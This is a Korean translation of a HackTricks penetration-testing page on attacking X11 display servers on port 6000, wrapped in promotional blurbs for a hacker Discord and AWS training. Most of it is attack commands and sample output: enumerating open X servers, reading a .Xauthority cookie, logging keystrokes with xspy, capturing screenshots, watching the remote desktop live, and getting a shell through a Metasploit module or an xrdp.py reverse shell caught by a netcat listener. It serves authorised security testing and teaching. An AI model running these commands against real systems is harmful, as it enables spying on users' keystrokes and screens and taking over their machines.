hacktricks/network-services-pentesting/6000-pentesting-x11.md

8.6 KiB
Raw Blame History

6000 - X11 펜테스팅

htARTE (HackTricks AWS Red Team Expert)에서 **제로부터 영웅이 되는 AWS 해킹을 배우세요**!

HackTricks를 지원하는 다른 방법:

경험 많은 해커 및 버그 바운티 헌터와 소통하려면 HackenProof Discord 서버에 가입하세요!

해킹 통찰력
해킹의 스릴과 도전에 대해 탐구하는 콘텐츠와 상호 작용

실시간 해킹 뉴스
빠르게 변화하는 해킹 세계의 최신 뉴스와 통찰력을 유지하세요

최신 공지
출시되는 최신 버그 바운티 및 중요한 플랫폼 업데이트에 대해 정보를 유지하세요

디스코드에 참여하여 최고의 해커들과 협업을 시작하세요!

기본 정보

X Window System (X)은 UNIX 기반 운영 체제에서 널리 사용되는 다목적 윈도잉 시스템입니다. 이는 **그래픽 사용자 인터페이스(GUI)**를 생성하기 위한 프레임워크를 제공하며 개별 프로그램이 사용자 인터페이스 디자인을 처리합니다. 이 유연성은 X 환경 내에서 다양하고 사용자 정의 가능한 경험을 가능하게 합니다.

기본 포트: 6000

PORT       STATE   SERVICE
6000/tcp   open    X11

열거

익명 연결을 확인합니다:

nmap -sV --script x11-access -p <PORT> <IP>
msf> use auxiliary/scanner/x11/open_x11

로컬 열거

사용자 홈 폴더의 파일 **.Xauthority**은 X11이 인증에 사용합니다. 여기에서:

$ xxd ~/.Xauthority
00000000: 0100 0006 6d61 6e65 7063 0001 3000 124d  ............0..M
00000010: 4954 2d4d 4147 4943 2d43 4f4f 4b49 452d  IT-MAGIC-COOKIE-
00000020: 3100 108f 52b9 7ea8 f041 c49b 85d8 8f58  1...R.~..A.....X
00000030: 041d ef                                  ...

MIT-magic-cookie-1: 128비트의 키("쿠키")를 생성하고 ~/.Xauthority(또는 XAUTHORITY 환경 변수가 가리키는 위치)에 저장합니다. 클라이언트는 이를 평문으로 서버에 보냅니다! 서버는 이 "쿠키"의 사본을 가지고 있는지 확인하고, 그렇다면 연결이 허용됩니다. 이 키는 DMX에 의해 생성됩니다.

{% hint style="warning" %} 쿠키를 사용하려면 환경 변수를 설정해야 합니다: export XAUTHORITY=/path/to/.Xauthority {% endhint %}

로컬 열거 세션

$ w
23:50:48 up 1 day, 10:32,  1 user,  load average: 0.29, 6.48, 7.12
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
user     tty7     :0               13Oct23 76days 13:37   2.20s xfce4-session

연결 확인

예를 들어, localhost:0에서 xfce4-session이 실행 중이었습니다.

xdpyinfo -display <ip>:<display>
xwininfo -root -tree -display <IP>:<display> #Ex: xwininfo -root -tree -display 10.5.5.12:0

키로깅

xspy를 사용하여 키보드 키 입력을 가로챕니다.

샘플 출력:

xspy 10.9.xx.xx

opened 10.9.xx.xx:0 for snoopng
swaBackSpaceCaps_Lock josephtTabcBackSpaceShift_L workShift_L 2123
qsaminusKP_Down KP_Begin KP_Down KP_Left KP_Insert TabRightLeftRightDeletebTabDownnTabKP_End KP_Right KP_Up KP_Down KP_Up KP_Up TabmtminusdBackSpacewinTab

스크린샷 캡처하기

xwd -root -screen -silent -display <TargetIP:0> > screenshot.xwd
convert screenshot.xwd screenshot.png

원격 데스크톱 보기

출처: https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref

./xrdp.py <IP:0>

Way from: https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html

먼저 xwininfo를 사용하여 창의 ID를 찾아야 합니다.

xwininfo -root -display 10.9.xx.xx:0

xwininfo: Window id: 0x45 (the root window) (has no name)

Absolute upper-left X:  0
Absolute upper-left Y:  0
Relative upper-left X:  0
Relative upper-left Y:  0
Width: 1024
Height: 768
Depth: 16
Visual: 0x21
Visual Class: TrueColor
Border width: 0
Class: InputOutput
Colormap: 0x20 (installed)
Bit Gravity State: ForgetGravity
Window Gravity State: NorthWestGravity
Backing Store State: NotUseful
Save Under State: no
Map State: IsViewable
Override Redirect State: no
Corners:  +0+0  -0+0  -0-0  +0-0
-geometry 1024x768+0+0

XWatchwin

실시간 보기를 위해 사용해야 함

./xwatchwin [-v] [-u UpdateTime] DisplayName { -w windowID | WindowName } -w window Id is the one found on xwininfo
./xwatchwin 10.9.xx.xx:0 -w 0x45

쉘 획득

msf> use exploit/unix/x11/x11_keyboard_exec

다른 방법:

리버스 쉘: Xrdp는 Netcat을 통해 리버스 쉘을 가져올 수도 있습니다. 다음 명령을 입력하십시오:

./xrdp.py \<IP:0> no-disp

인터페이스에서 R-쉘 옵션을 볼 수 있습니다.

그런 다음 로컬 시스템에서 포트 5555에서 Netcat 수신기를 시작하십시오.

nc -lvp 5555

그럼, R-Shell 옵션에 IP 주소와 포트를 입력하고 R-shell을 클릭하여 쉘을 획득하십시오

참고 자료

Shodan

  • port:6000 x11

HackenProof Discord 서버에 가입하여 경험 많은 해커 및 버그 바운티 헌터들과 소통하세요!

해킹 통찰
해킹의 즐거움과 도전에 대해 탐구하는 콘텐츠에 참여하세요

실시간 해킹 뉴스
실시간 뉴스와 통찰을 통해 빠르게 변화하는 해킹 세계를 파악하세요

최신 공지
최신 버그 바운티 출시 및 중요한 플랫폼 업데이트에 대해 정보를 받아보세요

**Discord에 참여하여 오늘부터 최고의 해커들과 협업을 시작하세요!

**htARTE (HackTricks AWS Red Team Expert)**로부터 제로부터 영웅이 되기까지 AWS 해킹 배우기

HackTricks를 지원하는 다른 방법: